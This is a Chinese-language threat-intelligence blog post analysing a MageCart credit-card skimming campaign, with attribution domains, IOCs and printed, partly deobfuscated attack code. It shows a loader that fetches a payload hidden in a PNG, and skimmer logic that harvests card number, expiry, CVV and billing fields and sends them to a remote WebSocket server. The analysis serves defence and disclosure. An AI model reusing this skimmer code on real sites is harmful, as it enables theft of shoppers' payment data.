Watch & Learn

Debugwar Blog

Step in or Step over, this is a problem ...

MageCart团伙新年期间开展攻击活动披露

2021-02-02 @ UTC+0

概述

近些年来,电子支付极大的方便了人们的生活,而疫情又提升了人们对电子支付的需求。随着电子支付应用场景、使用人数的增多,形形色色针对电子支付攻击也慢慢多了起来。

近期我们截获了一起通过入侵网站,对网站植入信息盗窃木马从而盗取信用卡信息牟利的攻击事件。该团伙在各平台信用卡付款的页面插入记录信息的木马,随后将截获到的信用卡信息发往木马的cc服务器,然后通过购买虚拟物品变现的方式牟利。整个攻击过程非常隐蔽,正常用户对整个盗取过程不易感知。该团伙的整个攻击过程如下图:

溯源


从目前掌握的情况来看,该团伙偏爱于窃取信用卡信息,且具备一套较为完整的攻击体系。从截获的木马所在服务器来看, 近期该团伙组织了一波攻击,其域名dns活动信息如下图:


通过奇安信威胁情报中心关联得知为此域名属于MageCart团伙的资产,公开情报显示该团伙由多个小组组成,主要以经济利益为目窃取各种支付信息。通过whois信息横向扩展,我们还发现该组织的其他域名资产如下:


可以看到,大部分域名采用“碰瓷”各种知名网站的手法来迷惑客户。通过观测上述域名的解析量, 发现还有如下域名近期一直处于活动状态:


分析

本次获取的攻击代码入口如下(部分内容做了打码处理, 代码做了格式化),该段代码被黑客被嵌入到正常的支付页面中:

  1. <script>
  2. var _cs = ["b/m", "png", "ia", "**", "***", "*_", "/im", "s/", "age", "/pu", "ed", "o.", "log"];  
  3.   
  4. _f0();  
  5. async function _f0() {  
  6.     // 解密后字符串:/pub/media/images/******_logo.png  
  7.     let url = _cs[9] + _cs[0] + _cs[10] + _cs[2] + _cs[6] + _cs[8] + _cs[7] + _cs[3] + _cs[4] + _cs[5] + _cs[12] + _cs[11] + _cs[1];  
  8.     console.log(url);  
  9.     let response = await fetch(url);  
  10.     if (response.ok) {  
  11.         let payload = await response.text();  
  12.         payload = payload.slice( - 16159)  
  13.         //var eval_function = new Function(payload);  
  14.         //return (eval_function());  
  15.     }  
  16. }   
  17. </script>  
  18. <script src="hxxps://procloudflare.com/jquery/jquery.js"></script>  
经过分析得知,上述代码的主要作用是获取/pub/media/images/******_logo.png文件内容,并获取最后的16159个字节作为第二阶段payload执行。看一下******_logo.png文件的最后这些字节是什么内容:


可以看到整个png文件的结尾其实为CHUNK[3],CHUNK[4]有很明显的拼接痕迹且拼接的部分长度刚好为16159个字节。这部份是一段JS代码,该段代码经过高度混淆,经过反混淆和分析后,主要逻辑如下(为突出重点代码做了删减):

  1. var na = 'wss://'  
  2. var dm = atob(window['cdm'])  
  3. var sl = window['csl']  
  4. var ua = window['cua']  
  5.   
  6. addSniffer(  
  7.     "rootways_bambora_option_cc_number"null,   
  8.     'firstname', 'lastname',   
  9.     null"rootways_bambora_option_expiration"  
  10.     "rootways_bambora_option_expiration_yr",  
  11.     "rootways_bambora_option_cc_cid",  
  12.     'https://' + l2, na + dm + sl + ua,  
  13.     'region_id', 'country_id', 2000  
  14. )  
  15.   
  16. function addSniffer(  
  17.     var _t = {  
  18.         Number: 'rootways_bambora_option_cc_number',  
  19.         Holder: null,  
  20.         HolderFirstName: first_name,  
  21.         HolderLastName: last_name,  
  22.         Date: null,  
  23.         Month: 'rootways_bambora_option_expiration',  
  24.         Year: 'rootways_bambora_option_expiration_yr',  
  25.         CVV: 'rootways_bambora_option_cc_cid',  
  26.         Region: 'region_id',  
  27.         Country: 'country_id',  
  28.         Gate: 'https://' + l2,  
  29.         SL: na + dm + sl + ua,  
  30.         .......  
  31.         SaveAllFields: function() {  
  32.             var _input_el = document.getElementsByTagName('input')  
  33.             var _select_el = document.getElementsByTagName('select')  
  34.             var _textarea_el = document.getElementsByTagName('textarea')  
  35.             ......  
  36.             if (document.querySelector('select[name="billing_address_id"] option')) {  
  37.                 var billing_address = document.querySelector('select[name="billing_address_id"] option').textContent  
  38.                 var address_part = billing_address.substr(billing_address.indexOf(',') + 2)  
  39.                 _t['Data']['FullInfo'] = billing_address  
  40.                 _t['Data']['Address'] = address_part  
  41.             }  
  42.             _t['Data']['Location'] = window.location.pathname + window.location.hash  
  43.         },  
  44.         SendData: function() {  
  45.             if (closeConsole()) {  
  46.                 vat data_json_b64encoded = _t.Base64.encode(JSON.stringify(_t.Data))  
  47.                 ......  
  48.                 _t.LoadImage(data_json_b64encoded)  
  49.             }  
  50.         },  
  51.         WebSocket: function() {  
  52.             g_webSocket = new WebSocket(_t.SL)  
  53.         },  
  54.         TrySend: function() {  
  55.             _t.SaveAllFields()  
  56.             _t.getCCInfo()  
  57.             ....  
  58.             _t.UserInformation()  
  59.             _t.SendData()  
  60.         },  
  61.         GetCCInfo: function() {// 此函数用于获得信用卡信息, 填写到_t中},  
  62.         UserInformation: function() {// 此函数用于获取用户的时区、浏览器UA等信息, 填写到_t中},  
  63.         LoadImage: function(data) {  
  64.             if (g_webSocket.readyState == 1) {  
  65.                 g_webSocket.send('update=' + param)  
  66.             }  
  67.             ......  
  68.         },  
  69.         ......
  70.     }  
  71.     var g_webSocket  
  72.     _t.WebSocket()  
  73.     setInterval(_t.TrySend, 2000)  
  74. )  
科普一下:信用卡消费只需要知道卡号、有效期、持卡人姓名以及CVV即可,并不需要国内普遍使用的证书密钥(USB Key)。

感觉光看明文字符串就已经很“刺激”了, 该脚本获取了页面输入框中的信用卡信息然后将用户的其他一些信息一起通过websocket发往了远端服务器,即上文中的na + dm + sl + ua,由于我们无法拿到当时的现场, 因此存储在全局DOM对象中的值无法获得。

本节一开始从hxxps://procloudflare.com/jquery/jquery.js加载的代码,先来直观感受一下此段代码长什么样:


经过分析,其功能上和上述窃密代码基本一致,只不过大概率会因为浏览器限制跨域而加载失败,这也解释了为何攻击者舍近求远的伪造了一个logo图片,从同域下的图片加载窃密脚本。

最后,我们来看一下另外一个近期有活动的域名: jquery24.com的搜索引擎结果:


获得了一个在野的js地址,看一下长什么样先:


发现该域名下有使用相同手段的恶意脚本,因此我们更加确定该域名的whois持有邮箱为该组织使用的网络资产。

IOCs

cloudflareshop.com
procloudflare.com
cloudflarepro.info
procloudflare.net
googletag.info
magentoportal.com
jquery24.com
googlemaster.info
mycloudflare.net
jqueryinfo.com
jqueryexpert.com
cloudflareplus.net
jsstroy.com
cloudflareplus.com
[email protected]

目录
概述
溯源
分析

版权所有 (c) 2020 - 2025 Debugwar.com

由 Hacksign 设计